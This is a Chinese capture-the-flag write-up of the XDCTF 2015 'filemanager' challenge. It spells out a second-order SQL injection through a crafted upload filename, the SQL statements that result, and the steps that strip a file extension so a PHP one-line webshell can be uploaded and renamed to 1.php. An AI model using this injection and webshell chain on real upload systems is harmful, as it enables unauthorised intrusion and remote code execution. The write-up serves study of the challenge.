首页 > 其他分享 >[XDCTF 2015]filemanager

[XDCTF 2015]filemanager

时间:2024-07-02 18:57:36浏览次数:1  
标签:XDCTF extension filemanager jpg filename oldname fid 2015 result

[XDCTF 2015]filemanager

/www.tar.gz​拿到源码

我直接在github上看了https://github.com/CTFTraining/xdctf_2015_filemanager

common.inc.php将传入的所有参数使用addslashes转义函数

image-20240702114905-6lke3gz

然后分析upload.php

使用basename​函数确保文件名中没有目录路径,防止路径遍历攻击。

使用了pathinfo函数,生成包含四部分的数组储存在$path_parts

<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n";
?>

image-20240702115648-g6pi0sg

array("gif", "jpg", "png", "zip", "txt")

使用了白名单,导致无法上传恶意文件

数据库查询之前也用了addslashes转义函数,但是只转义了pathinfo里的filename部分

接着分析rename.php

image-20240702121824-83eh7ma

这里将第一次查询的filename再次传进数据库造成二次注入,我们可以将extension置空

我们把sql语句都拿出来分析

upload:

"insert into file(filename, view, extension) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')"

转义了{$path_parts['filename']

rename:

$result = $db->query("select * from file where filename='{$req['oldname']}'");

"update filesetfilename='{$req['newname']}', oldname='{$result['filename']}' where fid={$result['fid']}");

无转义

我们上传文件的文件名为,extension='',filename=1.jpg.jpg

image-20240702181754-ayfq44x

可以看到重复赋值也是可以的

image-20240702182250-r394xxn

可以看到更新的数据是第二次的值,第二次的值把第一次的值重置了

upload.php我们传入名为`,`extension`='',`filename`=1.jpg.jpg`的文件名
insert into `file` ( `filename`, `view`, `extension`) values( '\',`extension`=\'\',`filename`=1.jpg', 0, 'jpg')
#至此我们传入了一个名为  ',`extension`='',`filename`=1.jpg.jpg的文件,后缀名为jpg

rename.php我们传入oldname=`,`extension`='',`filename`=1.jpg`&newname=1.jpg
$result = select * from `file` where `filename`='',`extension`='',`filename`=1.jpg.jpg'

update `file` set `filename`='1.jpg', `oldname`='',`extension`='',`filename`=1.jpg' where `fid`={$result['fid']}"
这时我们数据库里的一行数据就是`filename`=1.jpg', `oldname`='',`extension`='',而上传的文件更名为了1.jpg.jpg
此时我们再次上传1.jpg,数据库中检索的是`filename`=1.jpg', `oldname`='',`extension`='',这条数据,我们此时就成功把文件的后缀去掉了
此时可以给文件任意改名而不会添加后缀了


具体操作:

image-20240702133138-2h15v0l

rename

image-20240702133500-4nhuyxn

sql语句变为"update filesetfilename='1.jpg', oldname='',extension='',filename=1.jpg' where fid={$result['fid']}");

此时就有个1.jpg.jpg​的文件,而数据库里有行filename=1.jpg, extension=''​的数据

上传一个木马文件1.jpg

image-20240702133902-s481ie1

该名为1.php

image-20240702133928-8utf9gd

然后连接一句话木马

image-20240702155315-ql1ac7p

标签:XDCTF,extension,filemanager,jpg,filename,oldname,fid,2015,result
From: https://www.cnblogs.com/m1xian/p/18280381

相关文章

  • P3974 [TJOI2015] 组合数学 题解
    Description给一个网格图,其中某些格子有一些财宝。每次从左上角出发,只能往右或下走,每一次经过一个格子至多只能捡走一块财宝,至少要走几次才可能把财宝全捡完?\(1\leqn\leq1000\),\(1\leqm\leq1000\),每个格子中的财宝不超过\(10^6\)块。Solution考虑把每个点\((i,j)\)......
  • allWebPlugin助力iWebOffice2015插件在高版本浏览器使用
    allWebPlugin简介   allWebPlugin中间件是一款为用户提供安全、可靠、便捷的浏览器插件服务的中间件产品,致力于将浏览器插件重新应用到所有浏览器。它将现有ActiveX插件直接嵌入浏览器,实现插件加载、界面显示、接口调用、事件回调等。支持谷歌、火狐等浏览器,接口调用友好......
  • C140 线段树分治+01Trie P4585 [FJOI2015] 火星商店问题
    视频链接:   C09【模板】可持久化字典树(Trie)-董晓-博客园(cnblogs.com)P4585[FJOI2015]火星商店问题-洛谷|计算机科学教育新生态(luogu.com.cn)//线段树分治O(nlognlogn)#include<iostream>#include<cstring>#include<algorithm>#include<vect......
  • P4253 SCOI2015 小凸玩密室
    P4253SCOI2015小凸玩密室一道紫色的dp。思路首先读题:要保证任意时刻所有被点亮的灯泡必须连通在点亮一个灯泡后必须先点亮其子树所有灯泡才能点亮其他灯泡考虑设\(g[u][1]\)为\(u\)子树第一个被选中的是子树的根的代价,\(g[u][0]\)为\(u\)子树内第一个选中的点不......
  • 鸿蒙开发文件管理:【@ohos.fileManager (公共文件访问与管理)】
    公共文件访问与管理该模块提供公共文件访问和管理的服务接口,向下对接底层文件管理服务,如媒体库、外卡管理;向上对应用程序提供公共文件查询、创建的能力。 说明:本模块首批接口从APIversion9开始支持。后续版本的新增接口,采用上角标单独标记接口的起始版本。本模块接口......
  • 洛谷 P2015 二叉苹果树
    题目链接:二叉苹果树思路    本题使用链式向前星存储树上的边,然后DFS搜索+简单dp。    dp数组,dp[i][j]表示节点i及其子树保留k根树枝得到的最大苹果数。son数组存储当前节点的孩子节点的编号和当前节点与孩子节点之间的树枝上的苹果个数。    对于dp递......
  • visual studio vs2015 代码正常编译 但printf count无法输出
    在成功安装VS2015后,就立刻开始创建新项目进行测试。(ps:VS2015和之前使用的版本有所不同,安装后为有两个:一个为Blend开头的,一个为VS2015,我们需要使用的是vs2015,并非Blend开头那个)在第一次创建新项目时会出现没有Win32配置,需要进一步下载才可以。代码如下:#include<iostream>......
  • NOIP 2015 T1 骑士的金币(coin)
    描述国王将金币作为奖励,发放给忠诚的骑士。第一天,骑士收到一枚金币;之后两天(第二天和第三天)里,每天收到两枚金币;之后三天(第四、五、六天)里,每天收到三枚金币;之后四天(第七、八、九、十天)里,每天收到四枚金币……这种工资发放模式会一直这样延续下去:当连续N天每天收到N枚金币后,骑士......
  • P6419 COCI2014-2015#1 Kamp
    P6419COCI2014-2015#1Kamp换根\(dp\)的trick。题面钦定\(k\)个关键点,求每个点出发,访问完所有关键点的距离最小值。思路设\(g_u\)为从点\(u\)出发,访问完子树内所有关键点后,回到点\(u\)的距离最小值。\(s_u\)为点\(u\)子树内关键点个数,\(E(u,v)\)为边权。\[......
  • CSP历年复赛题-P2672 [NOIP2015 普及组] 推销员
    原题链接:https://www.luogu.com.cn/problem/P2672题意解读:N家住户,每家住户与出入口距离是Si米,推销员每走1米疲劳值+1,向第i家住户推销疲劳值+Ai,推销员推销完原路返回出口,计算在向不同数量X的住户推销时,能达到的最大疲劳值。解题思路:本题是一种贪心选择问题,需要思考出可能的最优......